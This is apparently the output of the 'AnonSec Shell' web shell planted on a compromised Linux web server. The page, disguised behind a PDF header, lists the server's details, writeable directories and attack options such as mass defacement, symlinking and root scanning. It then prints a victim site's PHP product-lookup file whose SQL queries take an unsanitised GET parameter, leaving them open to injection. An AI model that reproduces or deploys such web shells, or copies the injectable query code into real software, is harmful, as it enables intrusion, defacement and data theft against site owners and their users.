%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.216.24   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/getdata/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/getdata/get_variations.php
<?php
header( "Content-type: application/json" );
include ("../lib/include.php");

$variation_id = $_GET['variation_id'];



	$product_variation_result = $ceha->query("SELECT * FROM tbl_product_variation WHERE id='".$variation_id."' AND active='1'");
	$variation = $product_variation_result->fetch_assoc();
	$product_variations_image_result = $ceha->query("SELECT * FROM tbl_product_image WHERE variation_id='".$variation_id."' AND active='1' ORDER BY sequence");
	$product_tech_detail_result = $ceha->query("SELECT * FROM tbl_product_tech_detail WHERE variation_id='".$variation_id."' AND active='1' ORDER BY id");

$product_image = array();
$i = 1;
while($row = $product_variations_image_result->fetch_assoc()){
    $product_image[$i] = $row['image_url'];
	$i=$i+1;
}
if($product_image[1]=="" or $product_image[1]==NULL){
    $product_image[1] = "images/product/default-product-image.png";
}


$technical_detail = array("Ürün Kodu"=> $variation['title_'.$lang]);
while($row = $product_tech_detail_result->fetch_assoc()){
	$key = $row['title_'.$lang];
	$value = $row['content_'.$lang];
	$technical_detail[$key] = $value;
	$i=$i+1;
}
	
	$rows = array(
			"product_image"=>$product_image,
			"technical_detail"=>$technical_detail,
			"technical_image"=>$variation['tech_image_url']
			);



echo json_encode($rows);
?>

Anon7 - 2022
AnonSec Team